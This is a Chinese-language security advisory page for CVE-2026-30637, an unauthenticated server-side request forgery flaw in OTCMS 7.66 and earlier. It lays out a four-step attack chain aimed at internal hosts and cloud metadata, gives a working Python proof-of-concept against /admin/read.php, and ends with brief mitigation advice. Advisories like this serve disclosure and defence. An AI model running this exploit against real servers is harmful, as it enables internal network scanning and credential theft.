IPBUF安全漏洞报告
English
CVE-2026-30637 CVSS 7.5 高危

CVE-2026-30637 OTCMS服务端请求伪造漏洞

披露日期: 2026-03-27

漏洞信息

漏洞编号
CVE-2026-30637
漏洞类型
服务端请求伪造 (SSRF)
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
OTCMS

相关标签

SSRFOTCMS服务端请求伪造无需认证高危漏洞

漏洞概述

OTCMS V7.66及之前版本在 `/admin/read.php` 组件的 `AnnounContent` 参数中存在服务端请求伪造(SSRF)漏洞。由于系统未对用户提交的URL地址进行有效的格式校验和访问限制,未经身份验证的远程攻击者可构造恶意HTTP请求。攻击者利用该漏洞可诱导服务器向内部网络资源发起连接,从而探测内网拓扑、读取敏感元数据或攻击内网其他服务,对系统机密性造成严重威胁。

技术细节

该漏洞的核心在于OTCMS在处理公告内容读取请求时,直接将用户输入的 `AnnounContent` 参数作为目标URL进行请求,未实施任何的输入清洗或URL白名单机制。攻击者可以通过发送特制的POST或GET数据包至 `/admin/read.php`,将参数值设置为内网IP地址(如 `http://127.0.0.1/admin`)或云服务的元数据地址(如 `http://169.254.169.254/latest/meta-data/`)。由于漏洞利用无需认证且无交互要求,攻击者可利用此漏洞作为跳板,突破Web服务器的网络边界,对内网中的数据库、中间件或其他未授权暴露在内部网络的服务进行端口扫描或敏感数据窃取,严重危害内网安全。

攻击链分析

STEP 1
信息收集
攻击者识别目标运行的是OTCMS系统,且版本在V7.66或之前。
STEP 2
漏洞探测
攻击者向 `/admin/read.php` 发送包含恶意URL的 `AnnounContent` 参数,测试服务器是否会发起请求。
STEP 3
内网扫描
利用SSRF漏洞,扫描内网常见端口(如80, 443, 22, 3389),探测存活服务。
STEP 4
敏感信息窃取
请求内网敏感资源(如本地文件、云元数据、管理后台)以获取凭证或配置信息。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests def exploit_ssrf(target_url, internal_url): """ Exploit SSRF in OTCMS /admin/read.php :param target_url: The base URL of the target OTCMS instance :param internal_url: The internal URL to access (e.g., http://127.0.0.1:80) """ vuln_endpoint = f"{target_url}/admin/read.php" # Payload data targeting the vulnerable parameter payload = { "AnnounContent": internal_url } try: print(f"[*] Sending request to {vuln_endpoint} with payload: {internal_url}") response = requests.post(vuln_endpoint, data=payload, timeout=10) if response.status_code == 200: print("[+] Request sent successfully.") print(f"[+] Response length: {len(response.text)}") # Check if response contains indications of the internal resource if "root" in response.text or "Internal Server Error" in response.text: print("[!] Potential SSRF interaction detected.") else: print(f"[-] Server returned status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": target = "http://127.0.0.1" # Replace with actual target internal_target = "http://127.0.0.1:22" # Example: checking if SSH is open exploit_ssrf(target, internal_target)

影响范围

OTCMS <= 7.66

防御指南

临时缓解措施
建议立即在WAF(Web应用防火墙)中添加规则,拦截指向 `/admin/read.php` 且参数包含内网IP地址或特定关键词的请求。同时,可通过操作系统级别的防火墙规则(如iptables)临时限制该CMS服务进程对外发起非预期的HTTP连接。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表